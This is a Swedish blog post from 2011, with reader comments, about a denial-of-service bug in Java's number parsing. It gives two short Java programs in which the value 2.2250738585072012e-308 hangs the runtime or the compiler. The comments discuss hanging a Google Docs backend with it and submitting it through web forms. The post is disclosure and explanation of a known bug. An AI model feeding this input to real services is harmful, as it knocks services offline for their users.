tisdag 1 februari 2011

DoS:a Java med en siffra

Ni kanske läste inlägget om att DoS:a PHP med en siffra? Nu åker Java dit också (se Rick Regans och Konstantin Preissers bloggpost). Följande försätter Java i en oändlig loop:

public class RunHang {
_public static void main(String[] args) {
__System.out.println("Test:");
__double d = Double.parseDouble("2.2250738585072012e-308");
__System.out.println("Value: " + d);
_}
}

Och följande hänger kompilatorn:

public class CompilerHang {
_public static void main(String[] args) {
__double d = 2.2250738585072012e-308;
__System.out.println("Value: " + d);
_}
}

Vill ni testa? Bara att klona från BitBucket med Mercurial:

$ hg clone https://bitbucket.org/johnwilander/dosjava

Eller ladda hem en zip:
https://bitbucket.org/johnwilander/dosjava/downloads

... och sen köra "java RunHang" för att hänga Java eller "javac CompilerHang.java" för att hänga kompilatorn.

3 kommentarer:

blunden sa...

Fungerar ju som sagt också i Google Docs spreadsheets. Får backenden att hänga sig. Den misslyckas därmed att spara också så efter att dess timeout gått ut är allt bra igen. Gör med andra ord ingen större skada där som tur är.

Peter Krantz sa...

Hmm, är detta något folk kommer att börja skriva i webbformulär för att testa vad som händer med applikationer?

John Wilander sa...

@blunden: Intressant!

@Peter Ja, i den mån formulären tar emot något som tolkas som flyttal backend så ...